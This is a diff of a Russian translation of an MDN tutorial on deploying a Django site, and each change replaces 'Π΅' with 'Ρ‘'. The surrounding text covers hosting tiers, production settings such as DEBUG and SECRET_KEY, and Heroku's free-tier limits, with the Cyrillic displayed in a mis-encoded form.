<li>Π§Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈ истСчСнии Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ использования "бСсплатного" хостинга, ΠΊΠ°ΠΊΠΎΠ²Π° "ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ" ΠΌΠΈΠ³Ρ€Π°Ρ†ΠΈΠΈ Π½Π° Π±ΠΎΠ»Π΅Π΅ "Π΄ΠΎΡ€ΠΎΠ³ΠΈΠ΅" Ρ‚Π°Ρ€ΠΈΡ„Ρ‹ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅?</li>
</ul>
-<p>Π₯ΠΎΡ€ΠΎΡˆΠ΅ΠΉ Π½ΠΎΠ²ΠΎΡΡ‚ΡŒΡŽ являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ сущСствуСт достаточноС количСство ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π½Ρ‹Π΅ "бСсплатныС" Ρ‚Π°Ρ€ΠΈΡ„Ρ‹ Ρ‚ΠΈΠΏΠ° "evaluation" (для ΠΏΡ€ΠΎΠ±Ρ‹), "developer" (Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°), ΠΈΠ»ΠΈ "hobbyist" (Ρ…ΠΎΠ±Π±ΠΈ). ВсСгда ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ рСсурсы с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ, ΠΏΡ€ΠΈ использовании ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π°ΠΌ Π½Π°Π΄ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ лишь ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны лишь Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ для тСстирования сайтов с нСбольшим Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠΎΠΌ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ простой доступ ΠΊ ΠΏΠ»Π°Ρ‚Π½Ρ‹ΠΌ рСсурсам, Π² случаС нСобходимости. НаиболСС популярными ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°ΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a> ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
+<p>Π₯ΠΎΡ€ΠΎΡˆΠ΅ΠΉ Π½ΠΎΠ²ΠΎΡΡ‚ΡŒΡŽ являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ сущСствуСт достаточноС количСство ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π½Ρ‹Π΅ "бСсплатныС" Ρ‚Π°Ρ€ΠΈΡ„Ρ‹ Ρ‚ΠΈΠΏΠ° "evaluation" (для ΠΏΡ€ΠΎΠ±Ρ‹), "developer" (Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°), ΠΈΠ»ΠΈ "hobbyist" (Ρ…ΠΎΠ±Π±ΠΈ). ВсСгда ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ рСсурсы с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ, ΠΏΡ€ΠΈ использовании ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π°ΠΌ Π½Π°Π΄ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ лишь ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны лишь Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ для тСстирования сайтов с нСбольшим Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠΎΠΌ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ простой доступ ΠΊ ΠΏΠ»Π°Ρ‚Π½Ρ‹ΠΌ рСсурсам, Π² случаС нСобходимости. НаиболСС популярными ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°ΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a> ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
<p>МногиС ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ "basic" (Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ) Ρ‚Π°Ρ€ΠΈΡ„, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ достаточный ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ мощности с нСбольшим количСством ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ. <a href="https://www.digitalocean.com/">Digital Ocean</a> ΠΈ <a href="https://www.pythonanywhere.com/">Python Anywhere</a> ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅Π΄ΠΎΡ€ΠΎΠ³ΠΎΠΉ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ‚Π°Ρ€ΠΈΡ„ (ΠΎΡ‚ $5 Π΄ΠΎ $10USD Π² мСсяц).</p>
@@ -104,7 +104,7 @@ original_slug: Learn/Server-side/Django/Π Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅
<h2 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°_Π²Π΅Π±-сайта_ΠΊ_ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° Π²Π΅Π±-сайта ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
-<p><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Π‘ΠΊΠ΅Π»Π΅Ρ‚ сайта</a> Π±Ρ‹Π» создан ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ инструмСнтов <em>django-admin</em> ΠΈ <em>manage.py</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ настроСны Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΏΡ€ΠΎΡ‰Π΅. МногиС настройки Ρ„Π°ΠΉΠ»Π° ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π² <strong>settings.py</strong>) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ сайта, Π»ΠΈΠ±ΠΎ ΠΈΠ·-Π·Π° вопросов бСзопасности, Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</p>
+<p><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Π‘ΠΊΠ΅Π»Π΅Ρ‚ сайта</a> Π±Ρ‹Π» создан ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ инструмСнтов <em>django-admin</em> ΠΈ <em>manage.py</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ настроСны Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΏΡ€ΠΎΡ‰Π΅. МногиС настройки Ρ„Π°ΠΉΠ»Π° ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π² <strong>settings.py</strong>) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ сайта, Π»ΠΈΠ±ΠΎ ΠΈΠ·-Π·Π° вопросов бСзопасности, Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠžΠ±Ρ‰Π΅ΠΏΡ€ΠΈΠ½ΡΡ‚Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ являСтся ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» <strong>settings.py</strong> для ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π²Π°ΠΆΠ½Ρ‹Π΅ настройки ΠΈΠ· Π²Π½Π΅ΡˆΠ½ΠΈΡ… Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΈΠ»ΠΈ ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… окруТСния. Доступ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½, Π΄Π°ΠΆΠ΅ Ссли ΠΎΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ исходного ΠΊΠΎΠ΄Π° доступна Π² ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠΌ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ.</p>
@@ -113,7 +113,7 @@ original_slug: Learn/Server-side/Django/Π Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅
<p>ΠšΡ€ΠΈΡ‚ΠΈΡ‡Π΅ΡΠΊΠΈ Π²Π°ΠΆΠ½Ρ‹Π΅ настройки Ρ„Π°ΠΉΠ»Π° <strong>settings.py</strong>:</p>
<ul>
- <li><code>DEBUG</code>. ΠŸΡ€ΠΈ Ρ€Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠΈ сайта Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн Π² <code>False</code> (<code>DEBUG = False</code>). Π’Π΅ΠΌ самым, прСкратится Π²Ρ‹Π²ΠΎΠ΄Β  Π²Π°ΠΆΠ½ΠΎΠΉ ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
+ <li><code>DEBUG</code>. ΠŸΡ€ΠΈ Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠΈ сайта Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн Π² <code>False</code> (<code>DEBUG = False</code>). Π’Π΅ΠΌ самым, прСкратится Π²Ρ‹Π²ΠΎΠ΄Β  Π²Π°ΠΆΠ½ΠΎΠΉ ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
<li><code>SECRET_KEY</code>. Π­Ρ‚ΠΎ большоС случайноС число, примСняСмоС для Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ CRSF. Π’Π°ΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ»ΡŽΡ‡, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½Π΅, Π½Π΅ указывался Π² исходном ΠΊΠΎΠ΄Π΅, ΠΈ/ΠΈΠ»ΠΈ Π½Π΅ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π»ΡΡ с Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ сСрвСра. Django Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π° Π»ΠΈΠ±ΠΎ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ окруТСния, ΠΈΠ»ΠΈ Π² Ρ„Π°ΠΉΠ»Π΅ с доступом Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Ρ‡Ρ‚Π΅Π½ΠΈΠ΅.
<pre class="notranslate"># Π§Ρ‚Π΅Π½ΠΈΠ΅ SECRET_KEY ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ окруТСния
import os
@@ -129,7 +129,7 @@ with open('/etc/secret_key.txt') as f:
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ <em>LocalLibrary</em> Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ <code>SECRET_KEY</code> ΠΈ <code>DEBUG</code> ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… окруТСния, Ссли Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹, ΠΈΠ½Π°Ρ‡Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>/locallibrary/settings.py</strong>, Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ исходноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>SECRET_KEY</code> ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½ΠΎΠ²Ρ‹Π΅ строки, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅ <strong>ΠΆΠΈΡ€Π½Ρ‹ΠΌ</strong>. Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… окруТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π½Π΅ Π±Ρ‹Π»ΠΎ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния ΠΊΠ°ΠΊΠΎΠΉ ΠΊΠ»ΡŽΡ‡ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΡ€ΠΈ Ρ€Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ).</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>/locallibrary/settings.py</strong>, Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ исходноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>SECRET_KEY</code> ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½ΠΎΠ²Ρ‹Π΅ строки, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅ <strong>ΠΆΠΈΡ€Π½Ρ‹ΠΌ</strong>. Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… окруТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π½Π΅ Π±Ρ‹Π»ΠΎ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния ΠΊΠ°ΠΊΠΎΠΉ ΠΊΠ»ΡŽΡ‡ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΡ€ΠΈ Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ).</p>
<pre class="brush: python notranslate"># SECURITY WARNING: keep the secret key used in production secret!
# SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&amp;k3q+pmu)5%asj6yjpkag'
@@ -176,7 +176,7 @@ with open('/etc/secret_key.txt') as f:
Β Β Β Β Β Β Β Β ">Heroku прСдоставляСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅Π΄ΠΎΠ»Π³ΠΎΠ²Π΅Ρ‡Π½ΠΎΠ΅ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅, поэтому Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Ρ„Π°ΠΉΠ»Ρ‹ нСльзя бСзопасно Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π½Π° самом Heroku.</span></span></li>
<li><span id="result_box" lang="ru"><span title="The free tier will sleep an inactive web app if there are no requests within a half hour period.">Π‘Π²ΠΎΠ±ΠΎΠ΄Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΏΠ°Ρ‚ΡŒ с Π½Π΅Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Ссли Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ получаса Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ запросов. </span><span title="The site may then take several seconds to respond when it is woken up.
Β Β Β Β Β Β Β Β ">ПослС этого сайт ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΡΡ‚ΡŒ нСсколько сСкунд, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ проснулся.</span></span></li>
- <li><span id="result_box" lang="ru"><span title='The free tier limits the time that your site is running to a certain amount of hours every month (not including the time that the site is "asleep").'>Π‘Π²ΠΎΠ±ΠΎΠ΄Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ врСмя, Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ваш сайт Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ количСства часов ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ мСсяц (Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ врСмя, ΠΊΠΎΠ³Π΄Π° сайт «спит»). </span><span title="This is fine for a low use/demonstration site, but will not be suitable if 100% uptime is required.
+ <li><span id="result_box" lang="ru"><span title='The free tier limits the time that your site is running to a certain amount of hours every month (not including the time that the site is "asleep").'>Π‘Π²ΠΎΠ±ΠΎΠ΄Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ врСмя, Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ваш сайт Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ количСства часов ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ мСсяц (Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ врСмя, ΠΊΠΎΠ³Π΄Π° сайт «спит»). </span><span title="This is fine for a low use/demonstration site, but will not be suitable if 100% uptime is required.
Β Β Β Β Β Β Β Β ">Π­Ρ‚ΠΎ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ для сайта с Π½ΠΈΠ·ΠΊΠΈΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ использования / дСмонстрации, Π½ΠΎ Π½Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚, Ссли трСбуСтся 100% врСмя Π±Π΅Π·ΠΎΡ‚ΠΊΠ°Π·Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹.</span></span></li>
<li>Π”Ρ€ΡƒΠ³ΠΈΠ΅ ограничСния пСрСчислСны Π² <a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Heroku).</li>
</ul>
@@ -186,7 +186,7 @@ with open('/etc/secret_key.txt') as f:
